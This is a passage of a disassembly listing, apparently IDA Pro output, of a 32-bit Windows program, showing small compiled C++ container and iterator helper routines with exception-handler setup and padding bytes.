		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jz	short loc_414C6F


loc_414C24:				; CODE XREF: ___:00414C6Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_414C4C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414C4C:				; CODE XREF: ___:00414C3Bj
		lea	ecx, [esp+4]
		call	sub_4018C5
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jnz	short loc_414C24


loc_414C6F:				; CODE XREF: ___:00414C22j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414CB7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414C92
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414C92:				; CODE XREF: ___:00414C89j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414CB7:				; CODE XREF: ___:00414BDEj
					; ___:00414C75j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D30	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B59
sub_414D30	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414D48
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414D48:				; CODE XREF: ___:00414D3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D60	proc near		; CODE XREF: sub_401B59j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401582
sub_414D60	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E00	proc near		; CODE XREF: sub_4014C9j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414E00
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414EFB
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014D3
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_448F30
		call	sub_401870
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+88h+var_4], ebx
		call	sub_40212B
		test	al, al
		jz	loc_415030
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414EFB:				; CODE XREF: sub_414E00+36j
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_415030
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014D3
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014D3
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014D3
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_444600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_444600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+0D0h+var_4], ebx
		call	sub_4018AC
		test	al, al
		jz	short loc_415030
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_415030:				; CODE XREF: sub_414E00+82j
					; sub_414E00+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414E00	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4150F0	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401ED8
sub_4150F0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415130	proc near		; CODE XREF: sub_401726j

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401ED8
sub_415130	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016D6
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_401735
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151B0	proc near		; CODE XREF: sub_401582j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40146F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CE9
sub_4151B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415220	proc near		; CODE XREF: sub_4012E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401DBB
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415220	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415260	proc near		; CODE XREF: sub_401D9Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415290	proc near		; CODE XREF: sub_401488j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D9D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40217B
sub_415290	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152D0	proc near		; CODE XREF: sub_401258j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401D70
		test	al, al
		jz	short loc_41535D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41530F:				; CODE XREF: sub_4152D0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_401FC3
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415341
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401578
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		jmp	short loc_41534A
; ---------------------------------------------------------------------------


loc_415341:				; CODE XREF: sub_4152D0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4020C2


loc_41534A:				; CODE XREF: sub_4152D0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401D70
		test	al, al
		jnz	short loc_41530F
		pop	edi


loc_41535D:				; CODE XREF: sub_4152D0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4152D0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153A0	proc near		; CODE XREF: sub_401E38j
		push	esi
		mov	esi, ecx
		call	sub_401ED3
		mov	eax, esi
		pop	esi
		retn
sub_4153A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153C0	proc near		; CODE XREF: sub_401FC3j
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_4153C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153E0	proc near		; CODE XREF: sub_4020C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4153E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415410	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415410	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415440	proc near		; CODE XREF: sub_401F23j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C8F
sub_415440	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415480	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E33
sub_415480	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154F0	proc near		; CODE XREF: sub_401992j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401CDA
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_4154F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415530	proc near		; CODE XREF: sub_402257j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415530	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415560	proc near		; CODE XREF: sub_401F0Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402257
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401AAA
sub_415560	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155A0	proc near		; CODE XREF: sub_401933j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4155A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155F0	proc near		; CODE XREF: sub_401154j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401AEB
		test	al, al
		jz	short loc_41567D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41562F:				; CODE XREF: sub_4155F0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415661
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		jmp	short loc_41566A
; ---------------------------------------------------------------------------


loc_415661:				; CODE XREF: sub_4155F0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4018C5


loc_41566A:				; CODE XREF: sub_4155F0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401AEB
		test	al, al
		jnz	short loc_41562F
		pop	edi


loc_41567D:				; CODE XREF: sub_4155F0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4155F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156C0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E97
		mov	eax, esi
		pop	esi
		retn
sub_4156C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156E0	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402144
		add	esp, 4
		retn
sub_4156E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415700	proc near		; CODE XREF: sub_4018C5j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415730	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EC4
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415730	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415760	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DB6
sub_415760	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157A0	proc near		; CODE XREF: sub_4014BFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401F14
sub_4157A0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415810	proc near		; CODE XREF: sub_401901j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D7A
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415850	proc near		; CODE XREF: sub_40114Aj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415880	proc near		; CODE XREF: sub_401410j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401D11
sub_415880	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158C0	proc near		; CODE XREF: sub_401C76j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		pop	esi
		add	esp, 0Ch
		retn
sub_4158C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: sub_40214Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401339
		test	al, al
		jz	short loc_41599D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41594F:				; CODE XREF: sub_415910+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415981
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EBF
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41598A
; ---------------------------------------------------------------------------


loc_415981:				; CODE XREF: sub_415910+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41598A:				; CODE XREF: sub_415910+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401339
		test	al, al
		jnz	short loc_41594F
		pop	edi


loc_41599D:				; CODE XREF: sub_415910+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415910	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159E0	proc near		; CODE XREF: sub_402275j
		push	esi
		mov	esi, ecx
		call	sub_401E42
		mov	eax, esi
		pop	esi
		retn
sub_4159E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A00	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017E4
		add	esp, 4
		retn
sub_415A00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A20	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415A20	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



